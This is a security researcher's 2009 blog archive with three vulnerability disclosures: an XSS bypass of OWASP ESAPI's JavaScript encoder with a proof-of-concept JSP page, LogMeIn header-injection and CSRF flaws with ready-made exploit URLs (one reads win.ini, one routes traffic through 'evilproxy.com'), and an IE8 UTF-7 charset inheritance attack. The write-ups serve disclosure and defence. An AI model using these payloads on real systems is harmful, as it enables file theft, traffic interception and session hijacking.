Archive for the ‘XSS’ Category

Bypassing OWASP ESAPI XSS Protection inside Javascript

Thursday, August 20th, 2009

Everyone knows the invaluable XSS cheat sheet maintained by “RSnake”. It is all about breaking things and features all the scenarios that can result in XSS. To complement his efforts, there is an excellent XSS prevention cheat sheet created by “Jeff Williams” (Founder and CEO, Aspect Security). As far as I have seen, this wiki page provides the most comprehensive information on protecting yourself from XSS on the internet. It advises using the OWASP ESAPI api to mitigate any XSS arising from untrusted user input.

I was evaluating this ESAPI api and the recommendations given on the wiki to see if there are any potential flaws. Any weakness impacts a very large number of users since many developers are using it to strengthen their web applications throughout the world. This is my way of contributing back to the community, but can never match the immense efforts put by Jeff and other OWASP team members in developing this library.

I want to give you a little bit of background before diving into the real vulnerability. The XSS prevention cheat sheet classifies XSS protections by dividing them into broadly four buckets – HTML Body injection, HTML Attribute injection, Javascript injection and CSS injection. For each of these four buckets, there is an ESAPI function reference you can use for output escaping/encoding.

If you allow any untrusted user input into javascript functions document.write() OR eval(), it can still execute the XSS even after you do the scrubbing using the ESAPI encodeForJavaScript() function. The reason being that hex escaped chars are converted back into normal chars at the time of execution of these functions.

Here is the proof of concept jsp code:

<%@page import="org.owasp.esapi.*"%>

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
   "http://www.w3.org/TR/html4/loose.dtd">

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>ESAPI XSS Protection Bypass</title>
    </head>
    <body>
        <h1>ESAPI XSS Protection Bypass</h1>
        <p id="tb1"/><br>
        <p id="tb2"/>
        <script>
            //in real scenario, these three strings come from request.getParameter or user input
            <%
                String vulstr1 = "-1';alert(0);";
                String vulstr2 = "<img src=x onerror=alert(1)>";
                String vulstr3 = "0,x setter=alert,x=2";
            %>   

            // you can safely use it in places like this
            // Ex. vulstr1 is completely encapsulated in a and alert(0) not executed.
            var a='<%= ESAPI.encoder().encodeForJavaScript(vulstr1) %>';
            alert(a);

            // However, you can bypass protection in places like these
            // Ex. vulstr2 gets written to html and alert(1) executes
            document.write("<%= ESAPI.encoder().encodeForJavaScript(vulstr2) %>");
            // Ex. part of vulstr3 get assigned to u, rest alert(2) executes
            eval("u=<%= ESAPI.encoder().encodeForJavaScript(vulstr3) %>");
        </script>
    </body>
</html>

Much thanks to Jeremiah Grossman and Jeff Williams for taking the time to review my idea and providing their insights. Jeremiah told me that he has seen such injections from time to time at WhiteHat and these do exist in the wild.

Jeff confirmed that some documentation changes will fix this. I agree that no esapi code change is required, because function themselves are not insecure.

But, if you are currently using esapi functions inside your javascript code, it is important that you re-review your javascript code and the places where your make calls to esapi functions.

If you use the esapi function encodeForJavaScript() inside document.write, it is advised that you change them with other appropriate esapi functions depending on the context where the data is ultimately landing. For example, if you have document.write(“<script>alert(‘XSS’)</script>”), you know the data is landing in html body context, so it is appropriate to use encodeForHTML() wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is you can still begin another command context using , and (space) char and it won’t be encoded by function encodeForHTML(). So, it is better to avoid putting user input inside eval.

Any more suggestions or discussion on fixes is highly welcome.

Multiple vulnerabilities in LogMeIn web interface can be used to control your computer and steal arbitary files

Wednesday, June 3rd, 2009

A month ago, I reported some severe vulnerabilities in LogMeIn software, specifically version 4.0.784. For those of you that don’t know what LogMeIn is, LogMeIn is a popular remote access software, just like GotoMyPC and Windows RDP. It provides simple and secure access to your computers from any location on the internet, at the convenience of your web browser.

For exploiting these vulnerabilities, you need to social engineer the user to click on a url (e.g. through spam email) or make them visit your evil site somehow.

Vulnerability 1:
The url paramater “lang” passed to cfgadvanced.html is vulnerable to HTTP Header Injection attack using CRLFs. What makes this attack more interesting is once you social engineer a user into clicking this malicious url, you achieve persistent control over all the LogMeIn web pages.

This happens because after the injection occurs, LogMeIn stores the new value of “lang” paramater in registry key [HKEY_LOCAL_MACHINE\SOFTWARE\LogMeIn\V5\Appearance\Language] and puts it in Content-Language header everytime you click any link.

The proof of concept url given below can by used to STEAL ANY FILE ON YOUR DISK, in this case your win.ini file.

https://localhost:2002/cfgadvanced.html?op=update&DisconnectExisting=1&NoHttpCompr=1&CrashDumpInfo=0&lang=en-US%0D%0A%0D%0A%3Chtml%3E%3Cbody%3E%3C/body%3E%3CSCRIPT%3Evar%20ifr%3Dnull%3Bfunction%20al%28%29%7Bvar%20str%3D%28window.frames%5B0%5D.document.body.innerHTML%20%7C%7C%20ifr.contentDocument.documentElement.innerHTML%29%3Balert%28str.substring%28%28str.toLowerCase%28%29%29.indexOf%28%22%3Clegend%3E%22%2C400%29%29%29%3B%7D%20if%28window.location.href.match%28/.*cfgad.*/%29%29%7Bifr%3Ddocument.createElement%28%22iframe%22%29%3Bifr.src%3D%22https%3A//localhost%3A2002/logs.html%3Flog%3D../../../windows/win.ini%22%3Bdocument.body.appendChild%28ifr%29%3BsetTimeout%28%22al%28%29%22%2C4000%29%3B%7D%3C/script%3E%3C%21--

To help you understand this exploit better, I am pasting the url decoded parameter value of “lang” paramater.

lang=en-US

<html>
<body>
</body>
<script>
var ifr=null;
function al()
{
var str=(window.frames[0].document.body.innerHTML || ifr.contentDocument.documentElement.innerHTML);
alert(str.substring((str.toLowerCase()).indexOf("<legend>",400)));
}
if(window.location.href.match(/.*cfgad.*/))
{
ifr=document.createElement("iframe");
ifr.src="https://localhost:2002/logs.html?log=../../../windows/win.ini";
document.body.appendChild(ifr);
setTimeout("al()",4000);
}
</script>
<!--
LogMeIn -  Local File Disclosure using Header Injection


Vulnerability 2:
The LogMeIn web interface does not have any Cross Site Request Forgery protection at all. It can be used by an attacker to make arbitrary changes to your LogMeIn System Settings. Example attacks include:

a. The following url can be used to make your machine restart everyday at a particular time. Too bad if you are using LogMeIn in a production environment :( .

https://localhost:2002/restartat.html?type=1&datey=2009&datem=04&dated=28&daily=1&week=0&timeh=22&timem=40&force=1&op=set

LogMeIn - Change Reboot Settings using CSRF

b. The following url can be used to set an intercepting proxy that passively listens all your LogMeIn traffic.

https://localhost:2002/cfgnet.html?submit=1&restart=&ListenPort=2002&ListenPort=2002&ListenIP=*&IPFilter=&BrokenProxy=255.255.255.0&ServicingThreads=50&IdleTimeOut=0%3A00%3A20%3A00&VersionCheck=1&ProxyAddr=evilproxy.com&ProxyPort=2000&ProxyUsername=user1&ProxyPassword=pass1&submit=Apply

LogMeIn - Change Proxy Settings using CSRF

The LogMeIn Team is currently fixing all these vulnerabilities and a patched version should be available anytime this month. Till then, I advise disabling LogMeIn completely. Web Interfaces are historically known to be disastrous (e.g. uTorrent Pwn3d, Router Hacking Challenge), so make sure you know what gets installed on your computer :) .

Exploiting IE8 UTF-7 XSS Vulnerability using Local Redirection

Tuesday, May 12th, 2009

Conventions:
Attacker Domain – Securethoughts.com
Target Domain – 50webs.com

If you don’t remember, there was an important XSS vulnerability reported in all major browsers a while ago – IE7, Firefox and Opera. More Information is available in the Secunia advisories here. The vulnerability was that if you don’t specify a charset in your application page, then it is susceptible to inherit the charset in the parent page via iframes. So, if you accidently land on an evil site, an attacker might be able to steal your application session since your usual XSS prevention stuff [<,>,",',etc] will not filter the utf-7 encoded chars and XSS will execute in your vulnerable domain. Proof of Concept that works in IE7 but not in IE8 -
http://www.securethoughts.com/security/ie8utf7/ie7utf-7.html

This vulnerability was patched in Firefox 2.0.0.2, Opera 9.20 and recently in Internet Explorer 8. Ideally, we should not be vulnerable to this attack anymore. However, I have found a way to attack the fix that was done in Internet Explorer 8. I have tested it working with IE8 RC1 and final release version IE8.0.6001.18702. I call this a “Local Redirection Attack”.

The attack works as follows:

1. You are authenticated to vulnerable domain e.g. 50webs.com.

2. You land onto the evil site via link –
http://www.securethoughts.com/security/ie8utf7/ie8utf-7.html.

3. The page loads into your IE8 browser.

4. IE8 thinks that it is loading a child page -
[http://www.securethoughts.com/security/ie8utf7/utf-71.html] from the same domain and hence removes the restriction on charset inheritance.

5. This is where Local Redirection Attack comes into play. The attacker sets a temporary redirect on the child page to vulnerable site [http://webappsec.50webs.com/utf-71.html]. Make sure that the link to vulnerable site is a page with your UTF-7 injected characters [Persistent/Reflected XSS]. In this case, my utf-71.html page on 50webs.com has a persistent XSS with UTF-7 characters.

6. The XSS executes in the context of vulnerable site. E.g. if you see below, you can see my 50webs.com member cookie appended with ‘XSS’ in an alert box.

IE8 UTF-7 Charset Inheritance Exploit using Local Redirection

I have been in touch with Jack from Microsoft Security Response Center (MSRC) team for the last 2 months. I would like to thank the Microsoft Security Team for their timely responses and letting me discuss these issues with the security community. They are actively working to resolve this issue and a fix for this vulnerability is expected to arrive in the next version of Internet Explorer, IE9.